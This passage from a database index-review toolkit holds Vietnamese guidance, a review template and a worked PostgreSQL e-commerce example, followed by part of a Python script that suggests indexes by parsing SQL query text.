2. Bộ lọc không có khả năng tận dụng chỉ mục - non-sargable (xem mục 6 trong indexing-rules.md).
3. Giá trị cần tìm khớp với quá nhiều dòng; bộ lập kế hoạch chọn quét bảng là hoàn toàn hợp lý.
4. Kiểu dữ liệu của cột hoặc bảng đối chiếu (collation) không đồng nhất giữa câu truy vấn và cột trong bảng (ép kiểu ngầm định).
5. Câu truy vấn tham số hóa sử dụng kế hoạch thực thi chung (generic plan); hãy kiểm thử bằng câu lệnh prepared statement thực tế.
6. Các cột trong chỉ mục đang sắp xếp sai thứ tự so với yêu cầu của câu truy vấn.
FILE:templates/index-review.md
# Đánh giá chỉ mục: app_or_service
**Hệ CSDL (Engine):** engine_and_version | **Các bảng:** tables_with_row_counts | **Tải ghi (Write load):** write_profile
**Công cụ hỗ trợ (Helper):** Đã phân tích n_queries truy vấn, n_suggested ứng viên chỉ mục, n_findings phát hiện về lược đồ (schema)
## Tóm tắt
Hai hoặc ba câu: nguyên nhân chính gây chậm, các chỉ mục cần thêm vào và xóa đi, cùng sự thay đổi dự kiến trong kế hoạch thực thi.
## Chẩn đoán theo từng truy vấn
| Truy vấn | Tần suất chạy | Hiện tại (kế hoạch / thời gian) | Vấn đề | Cách khắc phục |
|---|---|---|---|---|
| Q1 | per_minute | Seq Scan + Sort | | |
## Viết lại câu truy vấn (thực hiện bước này trước)
```sql
-- before
-- after
```
## Các chỉ mục cần thêm (tạo theo đúng thứ tự này)
| # | Lệnh DDL | Phục vụ truy vấn | Lý do chọn thứ tự cột này | Chi phí |
|---|---|---|---|---|
| 1 | | | | |
## Các chỉ mục cần xóa (sau khi đã kiểm tra mức độ sử dụng)
| Chỉ mục | Lý do | Kiểm tra trước khi xóa |
|---|---|---|
| | trùng lặp / tiền tố dư thừa / không được sử dụng / độ chọn lọc thấp | `idx_scan` trên máy chủ chính (primary) và các máy chủ bản sao (replicas) |
## Tác động ròng trên từng bảng
| Bảng | Số chỉ mục trước | Sau khi thay đổi | Ghi chú |
|---|---|---|---|
## Cách xác minh
1. Thu thập `EXPLAIN (ANALYZE, BUFFERS)` cho từng câu truy vấn trước khi thay đổi.
2. Tạo từng chỉ mục một (`CONCURRENTLY` / online DDL), chạy `ANALYZE`, sau đó thu thập lại kế hoạch thực thi.
3. Kỳ vọng: (sự thay đổi kế hoạch thực thi cho từng câu truy vấn).
4. Theo dõi độ trễ ghi và độ trễ nhân bản (replication lag) trong một ngày; sau đó mới xóa các chỉ mục được liệt kê ở trên.
## Lưu ý
- Các đề xuất chỉ dựa trên văn bản câu truy vấn và lược đồ (schema); số lượng dòng thực tế và độ lệch dữ liệu (data skew) có thể làm thay đổi lựa chọn tối ưu nhất.
FILE:examples/example-shop-orders-review.md
# Ví dụ: Đánh giá chỉ mục cho một cửa hàng trực tuyến
## Yêu cầu của người dùng
"Cơ sở dữ liệu cửa hàng chạy PostgreSQL 16 của chúng tôi đang bị chậm dần. Bảng orders có 12 triệu dòng và nhận khoảng 40 lệnh insert mỗi giây, bảng customers có 900 nghìn dòng, bảng products có 20 nghìn dòng. Dưới đây là schema và sáu câu truy vấn xuất hiện trong pg_stat_statements. Chúng tôi nên thêm những chỉ mục nào, và liệu hiện tại chúng tôi đã có quá nhiều chỉ mục hay chưa?"
## Chạy công cụ hỗ trợ (Helper)
```
$ python3 scripts/suggest_indexes.py --schema shop-schema.sql slow-queries.sql
Schema: 4 table(s), 12 existing index(es) incl. keys | dialect: postgres
Queries analyzed: 7
Q1 SELECT: SELECT o.id, o.total, o.created_at FROM orders o WHERE o.customer_id = $1 AND o.status = 'paid' ORDER BY o.cre...
equality: orders.customer_id (=), orders.status (=)
order by: orders.created_at DESC (LIMIT)
Q2 SELECT: SELECT c.email, count(*) AS orders FROM customers c JOIN orders o ON o.customer_id = c.id WHERE c.country = 'D...
equality: customers.country (=)
range: orders.created_at (range)
joins: orders.customer_id = customers.id
group by: customers.email
Q3 SELECT: SELECT * FROM products WHERE lower(name) LIKE '%lamp%'
WARN non-sargable: lower(name) in the WHERE clause hides the column from a normal index; ... the LIKE pattern '%lamp%' also starts with a wildcard, so only full-text search or a trigram index can help
Q4 SELECT: ... WHERE oi.order_id IN (SELECT id FROM orders WHERE customer_id = 42 AND created_at > now() - interval '30 days')
note: subquery analyzed as Q5
Q6 UPDATE: UPDATE orders SET status = 'shipped', shipped_at = now() WHERE status = 'paid' AND shipped_at IS NULL AND crea...
Q7 SELECT: SELECT id FROM customers WHERE email = 'ann@example.com' OR phone = '+491701234567'
WARN OR across different columns (...): one composite index cannot serve both sides; consider UNION ALL of two indexed queries or one index per side
Suggested indexes (4):
1. CREATE INDEX CONCURRENTLY idx_customers_country_email ON customers (country, email);
2. CREATE INDEX CONCURRENTLY idx_orders_customer_id_created_at ON orders (customer_id, created_at);
serves: Q2, Q5 | overlap: same leading column as #3
3. CREATE INDEX CONCURRENTLY idx_orders_customer_id_status_created_at ON orders (customer_id, status, created_at) INCLUDE (id, total);
serves: Q1 | overlap: same leading column as #2
4. CREATE INDEX CONCURRENTLY idx_orders_status_shipped_at_created_at ON orders (status, shipped_at, created_at);
serves: Q6 | alternative: ... ON orders (status, created_at) WHERE shipped_at IS NULL;
Schema findings (5):
WARN redundant-prefix customers: idx_customers_country (country) is a leftmost prefix of idx_customers_country_created ...
WARN low-selectivity customers: idx_customers_active indexes only 'is_active' ...
HIGH duplicate-index orders: idx_orders_created and orders_created_at_idx have the same columns (created_at); drop one
WARN low-selectivity orders: idx_orders_status indexes only 'status' ...
WARN many-indexes orders: 4 existing + 3 suggested = 7 indexes (limit 6) ...
```
## Bản đánh giá (mẫu đã điền, rút gọn)
**Tóm tắt:** Bảng orders không có chỉ mục nào bắt đầu bằng cột customer_id, vì vậy trang lịch sử đơn hàng (Q1) và truy vấn tra cứu đơn hàng gần đây (Q5) phải quét hàng triệu dòng, đồng thời hai trong số bốn chỉ mục hiện có của bảng này là một chỉ mục bị trùng lặp và một chỉ mục trên cột status có độ chọn lọc thấp. Hãy thêm một chỉ mục phức hợp và một chỉ mục một phần (partial index) trên bảng orders, thêm một chỉ mục cột phone và một chỉ mục trigram ở các bảng khác, đồng thời xóa đi ba chỉ mục: bảng orders cuối cùng vẫn giữ nguyên tổng số 4 chỉ mục nhưng mọi chỉ mục đều thực sự hữu ích.
| Truy vấn | Vấn đề | Cách khắc phục |
|---|---|---|
| Q1 lịch sử đơn hàng | không có chỉ mục trên customer_id; cần sắp xếp theo created_at | đánh chỉ mục (customer_id, created_at) kèm status và total trong INCLUDE: lấy ngay các dòng mới nhất của khách hàng đó, lọc status ngay bên trong chỉ mục, LIMIT dừng lại sau 20 dòng |
| Q2 báo cáo theo quốc gia | phép join cần orders.customer_id; cột customers.country đã được phục vụ bởi idx_customers_country_created | dùng chung chỉ mục của bảng orders ở trên; không cần thêm chỉ mục mới cho bảng customers (đề xuất #1 của công cụ hỗ trợ chỉ giúp ích cho GROUP BY, mà báo cáo này chỉ chạy mỗi đêm một lần) |
| Q3 tìm kiếm sản phẩm | `lower(name) LIKE '%lamp%'` không thể dùng chỉ mục B-tree | tạo chỉ mục GIN pg_trgm trên biểu thức lower(name) |
| Q4/Q5 các mặt hàng gần đây | truy vấn con cần (customer_id, created_at); khóa chính PK (order_id, product_id) của bảng order_items đã phục vụ toán tử IN | dùng chung chỉ mục của bảng orders ở trên |
| Q6 tiến trình giao hàng | quét bảng theo cột status | tạo chỉ mục một phần (partial index) trên cột created_at chỉ dành riêng cho các đơn hàng đã thanh toán nhưng chưa giao |
| Q7 tra cứu hỗ trợ khách hàng | dùng OR giữa hai cột email và phone | tách thành UNION của hai truy vấn tra cứu; cột email đã có ràng buộc unique sẵn, chỉ cần thêm một chỉ mục cho cột phone |
Tại sao không thêm cả chỉ mục đề xuất #3 của công cụ hỗ trợ: đề xuất #2 và #3 có chung cột dẫn đầu customer_id, và trên một bảng có tới 40 lệnh insert mỗi giây thì duy trì một chỉ mục sẽ tốt hơn là hai. Người dùng đã xác nhận rằng khoảng 95 phần trăm đơn hàng ở trạng thái đã thanh toán (paid), do đó Q1 chỉ phải loại bỏ rất ít dòng, và chỉ mục (customer_id, created_at) có đính kèm status trong INCLUDE vẫn giữ cho Q1 chạy rất nhanh. Nếu tỷ lệ đơn hàng chưa thanh toán tăng lên trong tương lai, khi đó hãy chuyển sang thứ tự cột của đề xuất #3.
**Các chỉ mục cần thêm (theo đúng thứ tự này):**
```sql
CREATE INDEX CONCURRENTLY idx_orders_customer_created
ON orders (customer_id, created_at) INCLUDE (id, status, total); -- Q1, Q2, Q5
CREATE INDEX CONCURRENTLY idx_orders_paid_unshipped
ON orders (created_at) WHERE status = 'paid' AND shipped_at IS NULL; -- Q6, holds only paid, unshipped orders
CREATE INDEX CONCURRENTLY idx_customers_phone ON customers (phone); -- Q7 after the rewrite
CREATE EXTENSION IF NOT EXISTS pg_trgm;
CREATE INDEX CONCURRENTLY idx_products_name_trgm
ON products USING gin (lower(name) gin_trgm_ops); -- Q3, query unchanged
```
**Viết lại câu truy vấn (Q7):**
```sql
SELECT id FROM customers WHERE email = 'ann@example.com'
UNION
SELECT id FROM customers WHERE phone = '+491701234567';
```
**Các chỉ mục cần xóa (sau khi kiểm tra `pg_stat_user_indexes.idx_scan` trên máy chủ chính và cả hai máy chủ replica):**
| Chỉ mục | Lý do |
|---|---|
| orders_created_at_idx | trùng lặp với idx_orders_created |
| idx_orders_status | độ chọn lọc thấp; Q6 hiện đã chuyển sang dùng chỉ mục một phần (partial index) |
| idx_customers_country | là tiền tố ngoài cùng bên trái của idx_customers_country_created |
| idx_customers_active (cần kiểm tra) | kiểu boolean; chỉ giữ lại nếu idx_scan cho thấy có sử dụng thực tế |
**Tác động ròng:** bảng orders từ 4 -> 4 chỉ mục (thay thế hai chỉ mục cũ bằng hai chỉ mục tốt hơn), bảng customers từ 5 -> 5 (xóa một, thêm chỉ mục phone; hoặc giảm xuống 4 nếu xóa luôn cả is_active), bảng products từ 2 -> 3.
**Kiểm tra lại bằng công cụ hỗ trợ** (lược đồ sau khi thay đổi, các câu truy vấn sau khi viết lại; số thứ tự truy vấn tuân theo tệp mới, nên Q3 là Q5 cũ còn Q4/Q5 là hai nhánh của phép UNION):
```
$ python3 scripts/suggest_indexes.py --schema shop-schema-after.sql shop-queries-after.sql --no-covering
Already served by existing indexes (5):
customers (email) -> customers_email_key (Q4)
customers (id, country) -> customers_pkey (Q2)
customers (phone) -> idx_customers_phone (Q5)
orders (created_at) -> idx_orders_created (Q2)
orders (customer_id, created_at) -> idx_orders_customer_created (Q2, Q3)
```
Công cụ hỗ trợ vẫn liệt kê (customer_id, status, created_at) cho Q1 và (country, email) cho Q2; cả hai đều đã được chủ đích loại bỏ vì những lý do nêu trên. Không còn phát hiện nào về chỉ mục trùng lặp hay tiền tố dư thừa nữa.
**Cách xác minh:** trước và sau mỗi lần tạo chỉ mục, hãy chạy `EXPLAIN (ANALYZE, BUFFERS)` cho Q1 với một mã khách hàng (customer id) thực tế. Kết quả kỳ vọng là "Index Scan using idx_orders_customer_created" (hoặc Index Only Scan) không còn nút Sort và chỉ đọc khoảng 20 dòng thay vì phải thực hiện Bitmap Heap Scan qua hàng nghìn dòng. Hãy theo dõi độ trễ thao tác insert trên bảng orders trong một ngày trước khi xóa các chỉ mục cũ.
FILE:scripts/suggest_indexes.py
#!/usr/bin/env python3
"""Suggest candidate indexes for slow SQL queries from a schema and the query text (no database needed).
Usage:
python3 suggest_indexes.py --schema schema.sql queries.sql [options]
python3 suggest_indexes.py all-in-one.sql (CREATE statements and queries in one file)
python3 suggest_indexes.py --schema schema.sql - < slow.sql
Options:
--schema FILE CREATE TABLE / CREATE INDEX statements (may also be inside the query file)
--dialect NAME postgres (default), mysql, or sqlite; changes INCLUDE and online-build hints
--max-indexes N warn when a table would have more than N indexes (default 6)
--no-covering do not suggest covering (INCLUDE) columns
--json print the result as JSON
--strict exit 1 if any query has a non-sargable predicate or the schema has duplicate indexes
What it does: lightweight parsing of SELECT, UPDATE, and DELETE statements (subqueries are analyzed
separately) to find equality filters, range filters, join columns, ORDER BY and GROUP BY columns,
and selected columns per table. It builds composite candidates (equality columns, then sort, then
range), merges candidates that are prefixes of each other, skips those already served by an existing
index, and reports duplicate and redundant indexes, low-selectivity single-column indexes, and tables
with many indexes. It does not know row counts or data distribution: confirm every suggestion with
EXPLAIN on real data.
Exit codes: 0 ok, 1 --strict findings, 2 usage or read error.
Python 3 standard library only.
"""
import json
import re
import signal
import sys
if hasattr(signal, "SIGPIPE"):
signal.signal(signal.SIGPIPE, signal.SIG_DFL) # quiet exit when piped into head
KEYWORDS = set("""select from where and or not in is null like ilike between join inner left right full outer cross on
using group by order having limit offset as asc desc distinct union all exists case when then else end update set
delete insert into values returning with true false interval current_date current_timestamp now lateral natural
fetch first rows only for share nowait skip locked""".split())
LOW_CARD = re.compile(r"^(is_|has_|can_|should_)|^(status|state|type|kind|flag|active|enabled|deleted|archived|gender|"
r"visible|published|verified|priority|level|tier|role)$", re.I)
CLAUSE_END = r"(?=\b(?:where|group\s+by|order\s+by|having|limit|offset|union|returning|for\s+update|window)\b|$)"
class UsageError(Exception):
pass
# ---------------------------------------------------------------- text helpers
def strip_comments(sql):
sql = re.sub(r"/\*.*?\*/", " ", sql, flags=re.S)
return re.sub(r"--[^\n]*", " ", sql)
def split_statements(sql):
out, buf, quote = [], [], None
for ch in sql:
if quote:
buf.append(ch)
if ch == quote:
quote = None
continue
if ch in "'\"`":
quote = ch
if ch == ";":
out.append("".join(buf))
buf = []
else:
buf.append(ch)
out.append("".join(buf))
return [s.strip() for s in out if s.strip()]
def unquote_idents(sql):
sql = re.sub(r'"([A-Za-z_][\w$]*)"', r"\1", sql)
sql = re.sub(r"`([A-Za-z_][\w$]*)`", r"\1", sql)
return re.sub(r"\[([A-Za-z_][\w$]*)\]", r"\1", sql)
def mask_strings(sql):
"""Replace string literals with placeholders, remembering LIKE patterns."""
lits = []
def rep(m):
lits.append(m.group(0)[1:-1])
return f" __lit{len(lits) - 1}__ "
return re.sub(r"'(?:[^']|'')*'", rep, sql), lits
def split_top(text, sep_regex):
"""Split on a keyword at parenthesis depth 0."""
parts, depth, last = [], 0, 0
for m in re.finditer(r"\(|\)|" + sep_regex, text, flags=re.I):
tok = m.group(0)
if tok == "(":
depth += 1
elif tok == ")":
depth -= 1
elif depth == 0:
parts.append(text[last:m.start()])
last = m.end()
parts.append(text[last:])
return [p.strip() for p in parts if p.strip()]
def split_and(text):
"""Split on top-level AND, keeping 'x BETWEEN a AND b' together."""
parts = split_top(text, r"\band\b")
out = []
for part in parts:
if out and re.search(r"\bbetween\s+[^\s]+$", out[-1], re.I):
out[-1] = f"{out[-1]} AND {part}"
else:
out.append(part)
return out
def extract_subqueries(sql):
"""Pull out innermost (SELECT ...) blocks; return (outer_sql, [subqueries])."""
subs = []
pattern = re.compile(r"\(\s*(select\b[^()]*(?:\([^()]*\)[^()]*)*)\)", re.I)
while True:
m = pattern.search(sql)
if not m:
break
subs.append(m.group(1))
sql = sql[:m.start()] + " __subq__ " + sql[m.end():]
return sql, subs
# ---------------------------------------------------------------- schema
def parse_columns_list(text):
return [re.sub(r"\s+(asc|desc)\b.*$", "", c.strip(), flags=re.I).strip().lower()
for c in split_top(text, r",")]
def parse_schema(statements):
tables, indexes = {}, []
for st in statements:
s = unquote_idents(strip_comments(st)).strip()
m = re.match(r"create\s+table\s+(?:if\s+not\s+exists\s+)?([\w.]+)\s*\((.*)\)\s*[^)]*$", s, re.I | re.S)
if m:
name = m.group(1).split(".")[-1].lower()
cols, pk = [], None
for part in split_top(m.group(2), r","):
p = part.strip()
low = p.lower()
c = re.match(r"(?:constraint\s+\w+\s+)?primary\s+key\s*\(([^)]*)\)", low)
if c:
pk = parse_columns_list(c.group(1))
continue
c = re.match(r"(?:constraint\s+(\w+)\s+)?unique\s*(?:key\s+\w+\s*)?\(([^)]*)\)", low)
if c:
indexes.append({"name": c.group(1) or f"{name}_unique", "table": name,
"columns": parse_columns_list(c.group(2)), "unique": True, "kind": "unique"})
continue
c = re.match(r"(?:key|index)\s+(\w+)\s*\(([^)]*)\)", low)
if c:
indexes.append({"name": c.group(1), "table": name, "columns": parse_columns_list(c.group(2)),
"unique": False, "kind": "index"})
continue
if re.match(r"(constraint|foreign\s+key|check|exclude)\b", low):
continue
col = re.match(r"([a-z_][\w$]*)\s+", low + " ")
if col:
cols.append(col.group(1))
if re.search(r"\bprimary\s+key\b", low):
pk = [col.group(1)]
elif re.search(r"\bunique\b", low):
indexes.append({"name": f"{name}_{col.group(1)}_key", "table": name,
"columns": [col.group(1)], "unique": True, "kind": "unique"})
tables[name] = {"columns": cols}
if pk:
indexes.append({"name": f"{name}_pkey", "table": name, "columns": pk, "unique": True,
"kind": "primary"})
continue
m = re.match(r"create\s+(unique\s+)?index\s+(?:concurrently\s+)?(?:if\s+not\s+exists\s+)?(\w+)\s+on\s+"
r"([\w.]+)\s*(?:using\s+\w+\s*)?\(([^;]*?)\)\s*(include\s*\(([^)]*)\))?\s*(where\s+.*)?$",
s, re.I | re.S)
if m:
cols = parse_columns_list(m.group(4))
indexes.append({"name": m.group(2), "table": m.group(3).split(".")[-1].lower(), "columns": cols,
"unique": bool(m.group(1)), "kind": "index",
"include": parse_columns_list(m.group(6)) if m.group(6) else [],
"partial": (m.group(7) or "").strip() or None})
return tables, indexes
# ---------------------------------------------------------------- queries
def parse_from(from_text):
"""Return (tables {alias: table}, order list, join predicates text list)."""
aliases, order, ons = {}, [], []
pieces = re.split(r"\b((?:natural\s+)?(?:inner\s+|left\s+(?:outer\s+)?|right\s+(?:outer\s+)?|full\s+(?:outer\s+)?|"
r"cross\s+)?join)\b", from_text, flags=re.I)
items = [pieces[0]] + [pieces[i + 1] for i in range(1, len(pieces) - 1, 2)]
for item in items:
on_split = re.split(r"\bon\b", item, maxsplit=1, flags=re.I)
using = re.search(r"\busing\s*\(([^)]*)\)", on_split[0], re.I)
head = re.sub(r"\busing\s*\([^)]*\)", "", on_split[0], flags=re.I)
for ref in head.split(","):
toks = [t for t in re.split(r"\s+", ref.strip()) if t and t.lower() not in ("as", "lateral", "only")]
if not toks or toks[0] == "__subq__":
continue
table = toks[0].split(".")[-1].lower()
alias = toks[1].lower() if len(toks) > 1 else table
aliases[alias] = table
order.append(alias)
if len(on_split) > 1:
ons.append(on_split[1])
if using and len(order) >= 2:
for col in parse_columns_list(using.group(1)):
ons.append(f"{order[-2]}.{col} = {order[-1]}.{col}")
return aliases, order, ons
COL = r"((?:[a-z_][\w$]*\.)?[a-z_][\w$]*)"
VALUE = r"(?:__lit\d+__|\?|:\w+|\$\d+|@\w+|%s|-?\d+(?:\.\d+)?|true|false|null|__subq__|current_date|current_timestamp|now\(\))"
def resolve(ref, aliases, tables):
ref = ref.lower()
if "." in ref:
a, c = ref.split(".", 1)
return (aliases.get(a, a), c)
if len(set(aliases.values())) == 1:
return (next(iter(aliases.values())), ref)
owners = [t for t in set(aliases.values()) if ref in tables.get(t, {}).get("columns", [])]
return (owners[0], ref) if len(owners) == 1 else (None, ref)
def analyze_predicate(pred, lits, aliases, tables, q):
p = pred.strip()
while p.startswith("(") and p.endswith(")") and len(split_top(p[1:-1], r"\band\b")) >= 1 and \
p.count("(") == p.count(")") and _balanced_wrap(p):
p = p[1:-1].strip()
if len(split_and(p)) > 1:
for sub in split_and(p):
analyze_predicate(sub, lits, aliases, tables, q)
return
ors = split_top(p, r"\bor\b")
if len(ors) > 1:
cols = set()
for o in ors:
m = re.match(rf"^\(?\s*{COL}\s*(=|in\b)", o.strip(), re.I)
cols.add(m.group(1).lower() if m else None)
if len(cols) == 1 and None not in cols:
t, c = resolve(cols.pop(), aliases, tables)
q["filters"].append({"table": t, "column": c, "kind": "eq", "op": "OR of equalities (same as IN)"})
else:
shown = re.sub(r"__lit(\d+)__", lambda m: "'" + lits[int(m.group(1))] + "'", p)
shown = shown if len(shown) <= 70 else shown[:67] + "..."
q["warnings"].append(f"OR across different columns ({shown}): one composite index cannot serve "
"both sides; consider UNION ALL of two indexed queries or one index per side")
return
if re.match(r"^not\b", p, re.I) or re.search(r"(<>|!=|\bnot\s+in\b|\bnot\s+like\b)", p, re.I):
m = re.match(rf"^(?:not\s+)?{COL}", p, re.I)
shown = re.sub(r"__lit(\d+)__", lambda m: "'" + lits[int(m.group(1))] + "'", p)[:50]
q["notes"].append(f"negative predicate '{shown}' rarely uses an index; it is applied as a filter")
return
m = re.match(rf"^{COL}\s*(=|<=>)\s*{COL}$", p, re.I)
if m and not re.fullmatch(VALUE, m.group(3), re.I) and m.group(3).lower() not in KEYWORDS:
left, right = resolve(m.group(1), aliases, tables), resolve(m.group(3), aliases, tables)
if left[0] and right[0] and left[0] != right[0]:
q["joins"].append((left, right))
return
m = re.match(rf"^{VALUE}\s*(=|<|>|<=|>=)\s*{COL}$", p, re.I)
if m:
flip = {"<": ">", ">": "<", "<=": ">=", ">=": "<=", "=": "="}
p = f"{m.group(2)} {flip[m.group(1)]} __v__"
m = re.match(rf"^{COL}\s*(=|<=>)\s*(.+)$", p, re.I)
if m and m.group(1).lower() not in KEYWORDS:
t, c = resolve(m.group(1), aliases, tables)
q["filters"].append({"table": t, "column": c, "kind": "eq", "op": "="})
return
m = re.match(rf"^{COL}\s+in\s+__subq__$", p, re.I)
if m:
t, c = resolve(m.group(1), aliases, tables)
q["filters"].append({"table": t, "column": c, "kind": "eq", "op": "IN (subquery)"})
return
m = re.match(rf"^{COL}\s+in\s*\((.*)\)$", p, re.I | re.S)
if m:
t, c = resolve(m.group(1), aliases, tables)
q["filters"].append({"table": t, "column": c, "kind": "eq", "op": "IN"})
return
m = re.match(rf"^{COL}\s+is\s+(not\s+)?null$", p, re.I)
if m:
t, c = resolve(m.group(1), aliases, tables)
if m.group(2):
q["notes"].append(f"'{c} IS NOT NULL' is usually not selective; a partial index can help if most rows are NULL")
else:
q["filters"].append({"table": t, "column": c, "kind": "eq", "op": "IS NULL"})
return
m = re.match(rf"^{COL}\s*(<|>|<=|>=)\s*(.+)$", p, re.I) or re.match(rf"^{COL}\s+between\s+(.+)\s+and\s+(.+)$", p, re.I)
if m and m.group(1).lower() not in KEYWORDS:
t, c = resolve(m.group(1), aliases, tables)
q["filters"].append({"table": t, "column": c, "kind": "range", "op": "range"})
return
m = re.match(rf"^{COL}\s+(i?like)\s+__lit(\d+)__", p, re.I)
if m:
t, c = resolve(m.group(1), aliases, tables)
pattern = lits[int(m.group(3))]
if pattern.startswith(("%", "_")):
q["warnings"].append(f"non-sargable: {c} {m.group(2).upper()} '{pattern}' starts with a wildcard, so a "
"B-tree index cannot seek; use full-text search or a trigram index (PostgreSQL pg_trgm)")
q["non_sargable"] = True
else:
q["filters"].append({"table": t, "column": c, "kind": "range", "op": f"LIKE '{pattern}'"})
if m.group(2).lower() == "ilike":
q["notes"].append(f"ILIKE on {c}: a plain B-tree index is case-sensitive; index lower({c}) instead")
return
m = re.match(rf"^([a-z_]+)\s*\(\s*{COL}[^)]*\)\s*(=|<|>|<=|>=|like|between)", p, re.I)
if m and m.group(1).lower() not in KEYWORDS:
func, col = m.group(1).lower(), m.group(2)
t, c = resolve(col, aliases, tables)
wild = re.search(r"like\s+__lit(\d+)__", p, re.I)
extra = ""
if wild and lits[int(wild.group(1))].startswith(("%", "_")):
extra = (f"; the LIKE pattern '{lits[int(wild.group(1))]}' also starts with a wildcard, so only full-text "
"search or a trigram index can help")
q["warnings"].append(f"non-sargable: {func}({c}) in the WHERE clause hides the column from a normal index; "
f"rewrite as a range on {c} or add an expression index on {func}({c}){extra}")
q["non_sargable"] = True
return
m = re.match(rf"^{COL}\s*[-+*/]\s*\S+\s*(=|<|>|<=|>=)", p, re.I)
if m:
t, c = resolve(m.group(1), aliases, tables)
q["warnings"].append(f"non-sargable: arithmetic on {c} ('{p[:40]}'); move the arithmetic to the other side")
q["non_sargable"] = True
return
if "__subq__" in p and re.search(r"\bexists\b", p, re.I):
return
q["notes"].append(f"predicate not understood, check by hand: {p[:60]}")
def _balanced_wrap(p):
depth = 0
for i, ch in enumerate(p):
depth += ch == "("
depth -= ch == ")"
if depth == 0 and i < len(p) - 1:
return False
return True
def parse_query(raw, tables, number, lits=None, outer_aliases=None):
if lits is None:
sql, lits = mask_strings(unquote_idents(strip_comments(raw)))
else:
sql = raw
sql = re.sub(r"\s+", " ", sql).strip()
outer, subs = extract_subqueries(sql)
shown = re.sub(r"__lit(\d+)__", lambda m: "'" + lits[int(m.group(1))] + "'", re.sub(r"\s+", " ", raw.strip()))
shown = re.sub(r"\s+", " ", shown)
q = {"n": number, "text": shown[:110] + ("..." if len(shown) > 110 else ""), "kind": None, "aliases": {},
"filters": [], "joins": [], "order_by": [], "group_by": [], "selected": {}, "select_star": False,
"limit": False, "warnings": [], "notes": [], "non_sargable": False, "subqueries": subs, "lits": lits}
low = outer.lower()
cte_names = set()
if low.startswith("with "):
cte_names = {n.lower() for n in re.findall(r"(?:with|,)\s*(?:recursive\s+)?(\w+)\s+as\b", outer, re.I)}
q["notes"].append(f"CTE {', '.join(sorted(cte_names))} analyzed as separate queries; the final SELECT reads from it")
m = re.search(r"(?:\)|__subq__)\s*((?:select|update|delete)\b.*)$", outer, re.I)
outer = m.group(1) if m else outer
low = outer.lower()
if low.startswith("select"):
q["kind"] = "SELECT"
m = re.match(r"select\s+(?:distinct\s+)?(.*?)\s+from\s+(.*?)" + CLAUSE_END, outer, re.I)
if not m:
q["notes"].append("no FROM clause found")
return q
select_list, from_text = m.group(1), m.group(2)
elif low.startswith("update"):
q["kind"] = "UPDATE"
m = re.match(r"update\s+(.*?)\s+set\s+", outer, re.I)
select_list, from_text = "", m.group(1) if m else ""
elif low.startswith("delete"):
q["kind"] = "DELETE"
m = re.match(r"delete\s+from\s+(.*?)" + CLAUSE_END, outer, re.I)
select_list, from_text = "", m.group(1) if m else ""
else:
return None
own, _order, ons = parse_from(from_text)
own = {a: t for a, t in own.items() if t not in cte_names}
q["aliases"] = own
aliases = {**(outer_aliases or {}), **own} # outer aliases resolve correlated references
unknown = [t for t in set(own.values()) if tables and t not in tables]
if unknown:
q["notes"].append(f"table(s) not in the schema: {', '.join(sorted(unknown))}; existing indexes unknown")
for on in ons:
for pred in split_and(on):
analyze_predicate(pred, lits, aliases, tables, q)
w = re.search(r"\bwhere\b(.*?)(?=\b(?:group\s+by|order\s+by|having|limit|offset|returning|for\s+update)\b|$)", outer, re.I)
if w:
for pred in split_and(w.group(1)):
analyze_predicate(pred, lits, aliases, tables, q)
for clause, key in (("group\\s+by", "group_by"), ("order\\s+by", "order_by")):
m = re.search(rf"\b{clause}\b(.*?)(?=\b(?:having|order\s+by|limit|offset|for\s+update)\b|$)", outer, re.I)
if m:
for item in split_top(m.group(1), r","):
mm = re.match(rf"^{COL}\s*(asc|desc)?(?:\s+nulls\s+(?:first|last))?$", item.strip(), re.I)
if mm:
t, c = resolve(mm.group(1), aliases, tables)
q[key].append({"table": t, "column": c, "dir": (mm.group(2) or "asc").lower()})
else:
q["notes"].append(f"{key.replace('_', ' ')} expression '{item.strip()[:40]}' cannot use a plain column index")
q["limit"] = bool(re.search(r"\b(limit|fetch\s+first)\b", outer, re.I))
if select_list:
if re.search(r"(^|,)\s*(\w+\.)?\*\s*(,|$)", select_list):
q["select_star"] = True
for ref in re.findall(rf"\b{COL}\b(?!\s*\()", select_list, re.I):
if ref.lower() in KEYWORDS or ref.startswith("__") or re.fullmatch(r"\d+", ref):
continue
t, c = resolve(ref, aliases, tables)
if t and (not tables or c in tables.get(t, {}).get("columns", [c])):
q["selected"].setdefault(t, [])
if c not in q["selected"][t]:
q["selected"][t].append(c)
for f in q["filters"]:
if f["table"] is None:
q["notes"].append(f"column '{f['column']}' could belong to several tables; qualify it with an alias")
return q
# ---------------------------------------------------------------- candidates
def candidates_for(q, dialect, covering, pk_cols=None):
out = []
by_table = {}
for f in q["filters"]:
if f["table"]:
by_table.setdefault(f["table"], {"eq": [], "range": []})
lst = by_table[f["table"]][f["kind"]]
if f["column"] not in lst:
lst.append(f["column"])
tables_in_q = set(q["aliases"].values())
correlated = set()
for left, right in q["joins"]:
if left[0] in tables_in_q and right[0] not in tables_in_q:
correlated.add(left[0])
if right[0] in tables_in_q and left[0] not in tables_in_q:
correlated.add(right[0])
order_tables = {o["table"] for o in q["order_by"]}
for t in tables_in_q:
if t in correlated:
continue # reached through the correlated join below
eq = by_table.get(t, {}).get("eq", [])
rng = [c for c in by_table.get(t, {}).get("range", []) if c not in eq]
sort = []
if q["order_by"] and order_tables == {t} and len({o["dir"] for o in q["order_by"]}) == 1:
sort = [o["column"] for o in q["order_by"] if o["column"] not in eq]
elif q["group_by"] and {g["table"] for g in q["group_by"]} == {t}:
sort = [g["column"] for g in q["group_by"] if g["column"] not in eq]
key, why = list(eq), []
if eq:
why.append(f"equality on {', '.join(eq)} first")
if sort and (not rng or q["limit"]):
key += [c for c in sort if c not in key]
purpose = "already sorted" if q["order_by"] else "already grouped"
why.append(f"then {', '.join(sort)} so rows come out {purpose}" + (" (stops early with LIMIT)" if q["limit"] else ""))
if rng and rng[0] not in key:
key.append(rng[0])
why.append(f"{rng[0]} last as an in-index filter")
elif rng:
key.append(rng[0])
why.append(f"then the range on {rng[0]}" if eq else f"range on {rng[0]}")
if len(rng) > 1:
q["notes"].append(f"several range filters on {t} ({', '.join(rng)}): only the first can seek; the rest filter")
if sort:
q["notes"].append(f"ORDER BY on {t} cannot use the same index as the range on {rng[0]}; expect a sort step")
if not key:
continue
include = []
if covering and not q["select_star"] and q["kind"] == "SELECT":
extra = [c for c in q["selected"].get(t, []) if c not in key
and not (dialect == "mysql" and c in (pk_cols or {}).get(t, []))]
